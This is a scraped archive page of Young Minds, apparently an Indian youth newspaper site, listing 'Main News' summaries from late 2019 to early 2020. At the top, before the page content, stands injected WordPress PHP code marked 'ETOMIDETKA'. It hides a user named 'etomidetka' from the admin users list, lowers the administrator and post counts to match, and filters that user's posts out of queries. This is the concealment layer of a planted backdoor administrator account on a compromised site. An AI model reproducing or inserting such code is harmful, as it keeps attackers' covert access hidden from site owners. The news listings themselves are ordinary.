//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 23

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 23)
Coronavirus declared global health emergency by WHO

Coronavirus declared global health emergency by WHO

The World Health Organization has declared coronavirus, that has infected over 9,800 people globally, as a global health emergency. Over 200 people have died …

January 31, 2020 | Main News
Prince Harry and Meghan Markle lose ‘His and Her Royal Highness’ titles

Prince Harry and Meghan Markle lose ‘His and Her Royal Highness’ titles

Prince Harry and Meghan Markle will have to bid adieu to their “His and Her Royal Highness” titles as they step back from their royal duties, Buckingham …

January 24, 2020 | Main News
Entire Russian govt resigns after Putin proposes changes to constitution

Entire Russian govt resigns after Putin proposes changes to constitution

Russian PM Dmitry Medvedev and the entire Russian government has resigned to let President Vladimir Putin carry out constitutional reforms. Putin has proposed …

January 17, 2020 | Main News
Finland’s 34-year-old PM proposes 4-day working week and 6-hour working day

Finland’s 34-year-old PM proposes 4-day working week and 6-hour working day

Finland’s new Prime Minister has called for the introduction of a flexible working schedule in the country that would involve a four-day-week and six-hour …

January 10, 2020 | Main News
The world’s richest 500 people saw their wealth jump 25% in 2019

The world’s richest 500 people saw their wealth jump 25% in 2019

According to a report,In 2019, the world’s richest 500 people saw their collective net worth jump by 25 percent or $1.2 trillion. Combined, the collective …

January 3, 2020 | Main News
CUBA’S FIRST PRIME MINISTER SINCE 1976

CUBA’S FIRST PRIME MINISTER SINCE 1976

Cuban President Miguel Díaz-Canel has appointed Manuel Marrero Cruz as the country’s first Prime Minister in more than 40 years. The post of Prime Minister, …

December 27, 2019 | Main News
Who are the key candidates contesting the UK general election?

Who are the key candidates contesting the UK general election?

UK’s Boris Johnson, who took over as the PM in July, is contesting from the Uxbridge and Ruislip South Parliamentary constituency on a Conservative Party …

December 20, 2019 | Main News
India-born Sundar Pichai becomes Alphabet CEO

India-born Sundar Pichai becomes Alphabet CEO

Google CEO Sundar Pichai is adding another responsibility to his job: Pichai will also be the CEO of parent holding company Alphabet going forward, taking the …

December 6, 2019 | Main News
Saudi Arabia becomes first Arab nation to take over G20 presidency

Saudi Arabia becomes first Arab nation to take over G20 presidency

Saudi Arabia has become the first Arab nation to take over the G20 presidency as it seeks to bounce back onto the world stage following global uproar over its …

December 6, 2019 | Main News
Billionaire Kylie Jenner sells 51% of her beauty company for $600 million

Billionaire Kylie Jenner sells 51% of her beauty company for $600 million

The world’s youngest self-made billionaire Kylie Jenner is selling 51% of Kylie Cosmetics to US makeup and fragrance giant Coty for $600 million. The …

November 22, 2019 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds